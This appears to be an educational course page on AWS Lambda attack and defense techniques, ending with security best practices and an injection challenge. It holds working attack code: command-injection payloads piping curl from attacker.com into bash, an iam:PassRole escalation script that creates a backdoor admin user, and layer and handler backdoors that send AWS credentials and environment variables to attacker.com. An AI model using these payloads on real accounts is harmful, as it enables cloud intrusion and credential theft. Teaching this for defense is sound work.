AWS Lambda is a serverless compute service that runs code without managing servers. Think of it like hiring a contractor for specific tasks instead of employing full-time staff - AWS handles all the infrastructure, you just provide the code. But this abstraction creates unique security challenges and attack opportunities.
Lambda functions often have overprivileged IAM roles (for "convenience"), store secrets in environment variables, and process untrusted input from various event sources. An attacker who compromises a Lambda function can steal credentials, access other AWS services, and potentially pivot across the entire cloud environment.
Serverless ≠ Server-Free
Lambda Security Architecture
1Lambda Execution Model:2 3┌─────────────────────────────────────────────────────────────────────┐4│ Event Sources │5│ API Gateway │ S3 │ SQS │ CloudWatch │ DynamoDB │ Many more... │6└──────────────────────────────┬──────────────────────────────────────┘7 │8 ↓9┌─────────────────────────────────────────────────────────────────────┐10│ Lambda Function │11├─────────────────────────────────────────────────────────────────────┤12│ Code │ Your function code (Python, Node, Java, etc.) │13│ Handler │ Entry point (function.handler) │14│ Runtime │ Language runtime environment │15│ IAM Role │ Permissions for AWS services ← ATTACK VECTOR! │16│ Environment │ Variables (often contains secrets!) │17│ VPC Config │ Optional network placement │18│ Layers │ Shared code/dependencies │19│ Timeout │ Max 15 minutes │20│ Memory │ 128MB - 10GB │21└─────────────────────────────────────────────────────────────────────┘22 │23 ↓24┌─────────────────────────────────────────────────────────────────────┐25│ Execution Environment │26├─────────────────────────────────────────────────────────────────────┤27│ Container with: │28│ ├── /tmp (512MB - 10GB writable storage, persists between calls) │29│ ├── AWS SDK pre-installed │30│ ├── Credentials from IAM role (via environment/metadata) │31│ └── Read-only access to function code │32│ │33│ Isolation: │34│ ├── Firecracker microVM per function │35│ ├── Network isolation │36│ └── Ephemeral (may be reused - 606070;">#a5d6ff;">"warm start") │37└─────────────────────────────────────────────────────────────────────┘Lambda Enumeration
1606070;"># Discovering Lambda Functions2 3606070;"># List all functions4aws lambda list-functions5 6606070;"># Get function details7aws lambda get-function --function-name my-function8606070;"># Returns: Code location, configuration, tags9 10606070;"># Get function configuration (includes env vars!)11aws lambda get-function-configuration --function-name my-function12606070;"># Returns: Handler, runtime, role ARN, environment variables, VPC config13 14606070;"># List function versions15aws lambda list-versions-by-function --function-name my-function16 17606070;"># List aliases18aws lambda list-aliases --function-name my-function19 20606070;"># Get function policy (who can invoke it)21aws lambda get-policy --function-name my-function22 23606070;"># List event source mappings24aws lambda list-event-source-mappings --function-name my-function25 26606070;"># List layers27aws lambda list-layers28 29 30606070;"># Key Things to Look For31─────────────────────────────────────────────────────────────────────32606070;"># 1. Environment Variables (often contain secrets!)33aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'Environment.Variables'34 35606070;"># Look for:36606070;"># - Database credentials37606070;"># - API keys38606070;"># - AWS credentials (bad practice but common)39606070;"># - Encryption keys40 41606070;"># 2. IAM Role (what can this function do?)42aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'Role'43 44606070;"># Then check role permissions45aws iam get-role --role-name LambdaRole46aws iam list-attached-role-policies --role-name LambdaRole47 48606070;"># 3. VPC Configuration (internal network access?)49aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'VpcConfig'Extracting Secrets from Lambda
1606070;"># Method 1: Environment Variables via API2─────────────────────────────────────────────────────────────────────3606070;"># If you have lambda:GetFunction or lambda:GetFunctionConfiguration4 5aws lambda get-function-configuration --function-name prod-api6 7606070;"># Output contains:8{9 606070;">#a5d6ff;">"Environment": {10 606070;">#a5d6ff;">"Variables": {11 606070;">#a5d6ff;">"DB_PASSWORD": "SuperSecret123",12 606070;">#a5d6ff;">"API_KEY": "sk-xxx...",13 606070;">#a5d6ff;">"AWS_ACCESS_KEY_ID": "AKIA...", // Very bad practice!14 606070;">#a5d6ff;">"JWT_SECRET": "..."15 }16 }17}18 19 20606070;"># Method 2: Download Function Code21─────────────────────────────────────────────────────────────────────22606070;"># If you have lambda:GetFunction23 24aws lambda get-function --function-name prod-api --query 606070;">#a5d6ff;">'Code.Location' --output text25 26606070;"># Returns a pre-signed URL to download the deployment package27606070;"># Download and unzip:28curl -o function.zip 606070;">#a5d6ff;">"https://awslambda-us-east-1-tasks.s3.amazonaws.com/..."29unzip function.zip30 31606070;"># Search for hardcoded secrets32grep -r 606070;">#a5d6ff;">"password|secret|key|token" .33grep -r 606070;">#a5d6ff;">"AKIA|ASIA" . # AWS access keys34 35 36606070;"># Method 3: From Inside Lambda (if you can inject code)37─────────────────────────────────────────────────────────────────────38606070;"># Environment variables are accessible in code39import os40print(os.environ)41 42606070;"># Or access credentials via SDK (automatic)43import boto344sts = boto3.client(606070;">#a5d6ff;">'sts')45print(sts.get_caller_identity())46 47606070;"># Credentials also available at:48606070;"># AWS_ACCESS_KEY_ID49606070;"># AWS_SECRET_ACCESS_KEY50606070;"># AWS_SESSION_TOKEN (temporary credentials)51 52 53606070;"># Method 4: Invoke Function to Extract Secrets54─────────────────────────────────────────────────────────────────────55606070;"># If you have lambda:InvokeFunction and function is vulnerable56 57606070;"># If function reflects input or has error messages:58aws lambda invoke --function-name prod-api --payload 606070;">#a5d6ff;">'{"cmd": "env"}' output.json59 60cat output.json61606070;"># May contain environment variables in error/debug outputEnvironment Variables Are Not Secure
Event Injection Attacks
1606070;"># Lambda Event Injection Vulnerabilities2 3606070;"># Lambda receives events from various sources4606070;"># Event data is often used unsafely5 6606070;"># Example 1: Command Injection7606070;"># Vulnerable Lambda function:8import subprocess9 10def handler(event, context):11 filename = event[606070;">#a5d6ff;">'filename'] # User-controlled!12 606070;"># VULNERABLE: Unsanitized input to shell command13 result = subprocess.run(f606070;">#a5d6ff;">'cat /tmp/{filename}', shell=True, capture_output=True)14 return result.stdout.decode()15 16606070;"># Attack payload:17{18 606070;">#a5d6ff;">"filename": "; env"19}20606070;"># Executes: cat /tmp/; env21606070;"># Returns environment variables including credentials!22 23606070;"># More dangerous:24{25 606070;">#a5d6ff;">"filename": "; curl attacker.com/shell.sh | bash"26}27 28 29606070;"># Example 2: SQL Injection30def handler(event, context):31 user_id = event[606070;">#a5d6ff;">'user_id'] # User-controlled!32 606070;"># VULNERABLE: String concatenation in SQL33 cursor.execute(f606070;">#a5d6ff;">"SELECT * FROM users WHERE id = '{user_id}'")34 35606070;"># Attack:36{37 606070;">#a5d6ff;">"user_id": "' OR '1'='1"38}39 40 41606070;"># Example 3: Path Traversal42def handler(event, context):43 filename = event[606070;">#a5d6ff;">'file'] # User-controlled!44 606070;"># VULNERABLE: Path traversal45 with open(f606070;">#a5d6ff;">'/tmp/uploads/{filename}') as f:46 return f.read()47 48606070;"># Attack:49{50 606070;">#a5d6ff;">"file": "../../proc/self/environ"51}52606070;"># Reads environment variables!53 54 55606070;"># Example 4: SSRF via Event56def handler(event, context):57 url = event[606070;">#a5d6ff;">'url'] # User-controlled!58 response = requests.get(url) 606070;"># SSRF!59 return response.text60 61606070;"># Attack:62{63 606070;">#a5d6ff;">"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"64}65606070;"># Extracts IAM role credentials!1606070;">// Node.js Lambda Injection Examples2 3606070;">// Command Injection4const { execSync } = require(606070;">#a5d6ff;">'child_process');5 6exports.handler = async (event) => {7 const name = event.name; 606070;">// User-controlled!8 606070;">// VULNERABLE9 const output = execSync(`echo Hello ${name}`);10 return output.toString();11};12 13606070;">// Attack payload:14{15 606070;">#a5d6ff;">"name": "; cat /proc/self/environ"16}17 18 19606070;">// Prototype Pollution (Node.js specific)20exports.handler = async (event) => {21 const obj = {};22 606070;">// VULNERABLE: Unsafe merge23 Object.assign(obj, event.data);24 25 606070;">// If event.data contains:26 606070;">// {"__proto__": {"admin": true}}27 606070;">// All objects now have admin: true28};29 30 31606070;">// Template Injection32const ejs = require(606070;">#a5d6ff;">'ejs');33 34exports.handler = async (event) => {35 const template = event.template; 606070;">// User-controlled!36 606070;">// VULNERABLE: User-controlled template37 return ejs.render(template, {name: 606070;">#a5d6ff;">'User'});38};39 40606070;">// Attack:41{42 606070;">#a5d6ff;">"template": "<%= process.env %>"43}Lambda Privilege Escalation
1606070;"># Using Lambda for Privilege Escalation2 3606070;"># Scenario: You have limited AWS access but can:4606070;"># - iam:PassRole (for Lambda execution roles)5606070;"># - lambda:CreateFunction6606070;"># - lambda:InvokeFunction7 8606070;"># Step 1: Find a privileged role9aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].[RoleName,Arn]'10606070;"># Look for roles with admin or high privileges11 12606070;"># Step 2: Check if role can be assumed by Lambda13aws iam get-role --role-name AdminRole14606070;"># Look for "Service": "lambda.amazonaws.com" in trust policy15 16606070;"># Step 3: Create malicious Lambda function17cat > privesc.py << 606070;">#a5d6ff;">'EOF'18import boto319import json20 21def handler(event, context):22 606070;"># This runs with AdminRole permissions!23 24 606070;"># Option 1: Create new admin user25 iam = boto3.client(606070;">#a5d6ff;">'iam')26 iam.create_user(UserName=606070;">#a5d6ff;">'backdoor')27 iam.attach_user_policy(28 UserName=606070;">#a5d6ff;">'backdoor',29 PolicyArn=606070;">#a5d6ff;">'arn:aws:iam::aws:policy/AdministratorAccess'30 )31 keys = iam.create_access_key(UserName=606070;">#a5d6ff;">'backdoor')32 33 return {34 606070;">#a5d6ff;">'statusCode': 200,35 606070;">#a5d6ff;">'body': json.dumps({36 606070;">#a5d6ff;">'accessKeyId': keys['AccessKey']['AccessKeyId'],37 606070;">#a5d6ff;">'secretAccessKey': keys['AccessKey']['SecretAccessKey']38 })39 }40EOF41 42zip privesc.zip privesc.py43 44606070;"># Step 4: Create the function with privileged role45aws lambda create-function --function-name privesc --runtime python3.9 --role arn:aws:iam::123456789012:role/AdminRole --handler privesc.handler --zip-file fileb:606070;">//privesc.zip46 47606070;"># Step 5: Invoke to get admin credentials48aws lambda invoke --function-name privesc output.json49cat output.json50606070;"># Contains admin access keys!51 52 53606070;"># Alternative: Modify Existing Function54─────────────────────────────────────────────────────────────────────55606070;"># If you have lambda:UpdateFunctionCode56 57606070;"># Update existing function with malicious code58aws lambda update-function-code --function-name existing-function --zip-file fileb:606070;">//privesc.zip59 60606070;"># Wait for next invocation or invoke if you have permissions61606070;"># Function now runs malicious code with its role!Look for Lambda in CI/CD
Lambda Persistence Techniques
1606070;"># Lambda Persistence Methods2 3606070;"># Method 1: Backdoor via Layers4606070;"># Layers are shared code attached to functions5606070;"># Malicious layer code runs before function code6 7606070;"># Create malicious layer:8606070;"># layer_code/python/evil.py9import os10import boto311 12606070;"># Runs on import (before function code)13def exfiltrate():14 creds = {15 606070;">#a5d6ff;">'access_key': os.environ.get('AWS_ACCESS_KEY_ID'),16 606070;">#a5d6ff;">'secret_key': os.environ.get('AWS_SECRET_ACCESS_KEY'),17 606070;">#a5d6ff;">'token': os.environ.get('AWS_SESSION_TOKEN')18 }19 606070;"># Exfiltrate to attacker20 import urllib.request21 urllib.request.urlopen(22 f606070;">#a5d6ff;">"https://attacker.com/log?data={creds}"23 )24 25exfiltrate()26 27 28606070;"># Method 2: Extension Backdoor29606070;"># Lambda extensions run alongside functions30606070;"># Can intercept events and responses31 32606070;"># Extension code in /opt/extensions/33606070;"># Runs for every invocation34 35 36606070;"># Method 3: /tmp Persistence37606070;"># /tmp persists between warm starts38606070;"># Plant files that get executed39 40def handler(event, context):41 import os42 43 606070;"># Check if backdoor exists44 if not os.path.exists(606070;">#a5d6ff;">'/tmp/.backdoor'):45 606070;"># First run - create backdoor46 with open(606070;">#a5d6ff;">'/tmp/.backdoor', 'w') as f:47 f.write(606070;">#a5d6ff;">'#!/bin/bash\ncurl attacker.com/beacon')48 os.chmod(606070;">#a5d6ff;">'/tmp/.backdoor', 0o755)49 50 606070;"># Execute backdoor on each invocation51 os.system(606070;">#a5d6ff;">'/tmp/.backdoor')52 53 606070;"># Normal function code...54 return {606070;">#a5d6ff;">'statusCode': 200}55 56 57606070;"># Method 4: Modify Function to Call Attacker58606070;"># Add code that phones home on each invocation59 60import urllib.request61import json62 63def handler(event, context):64 606070;"># Beacon to attacker65 try:66 urllib.request.urlopen(67 606070;">#a5d6ff;">'https://attacker.com/beacon',68 data=json.dumps({69 606070;">#a5d6ff;">'event': str(event),70 606070;">#a5d6ff;">'env': dict(os.environ)71 }).encode()72 )73 except:74 pass 606070;"># Fail silently75 76 606070;"># Original function code continues...Lambda Security Best Practices
1Lambda Security Defenses:2 3IAM & Permissions4─────────────────────────────────────────────────────────────────────5✓ Least privilege roles (specific actions, specific resources)6✓ Don't use AdministratorAccess or PowerUser7✓ One role per function (not shared roles)8✓ Use resource-based policies to restrict invocation9✗ Don't grant iam:PassRole broadly10 11Secrets Management12─────────────────────────────────────────────────────────────────────13✓ Use Secrets Manager or Parameter Store14✓ Encrypt environment variables with KMS15✓ Rotate secrets automatically16✗ Never hardcode credentials in code17✗ Never put secrets in plain environment variables18 19Input Validation20─────────────────────────────────────────────────────────────────────21✓ Validate and sanitize all event data22✓ Use parameterized queries (no string concatenation)23✓ Avoid shell commands with user input24✓ Validate URLs before fetching (prevent SSRF)25✓ Use allowlists for file paths26 27Code Security28─────────────────────────────────────────────────────────────────────29✓ Keep dependencies updated30✓ Scan for vulnerabilities (npm audit, pip-audit)31✓ Use code signing (Lambda code signing)32✓ Pin dependency versions33✓ Review third-party layers carefully34 35Monitoring & Detection36─────────────────────────────────────────────────────────────────────37✓ Enable CloudTrail for Lambda API calls38✓ Use CloudWatch Logs for function logs39✓ Alert on function modifications40✓ Monitor for unusual invocation patterns41✓ Use AWS X-Ray for tracing42 43Example Secure IAM Policy:44{45 606070;">#a5d6ff;">"Version": "2012-10-17",46 606070;">#a5d6ff;">"Statement": [47 {48 606070;">#a5d6ff;">"Effect": "Allow",49 606070;">#a5d6ff;">"Action": "dynamodb:GetItem",50 606070;">#a5d6ff;">"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/MyTable"51 },52 {53 606070;">#a5d6ff;">"Effect": "Allow",54 606070;">#a5d6ff;">"Action": "logs:*",55 606070;">#a5d6ff;">"Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/my-function:*"56 }57 ]58}Lambda Attack Methodology
Lambda Security Assessment
Knowledge Check
What is the primary risk of storing secrets in Lambda environment variables?
Challenges
Lambda Injection Payload
ChallengeA Lambda function processes event data like: subprocess.run(f'convert /tmp/{event["filename"]} /tmp/output.png', shell=True). Craft a payload to extract AWS credentials.
Need a hint? (3 available)
Key Takeaways
- Lambda environment variables are NOT secure - use Secrets Manager
- Lambda functions inherit IAM role permissions - check for overprivilege
- iam:PassRole + lambda:CreateFunction = privilege escalation path
- Event data is untrusted input - validate and sanitize everything
- /tmp persists between warm starts - can be used for persistence
- Function code can be downloaded and analyzed for secrets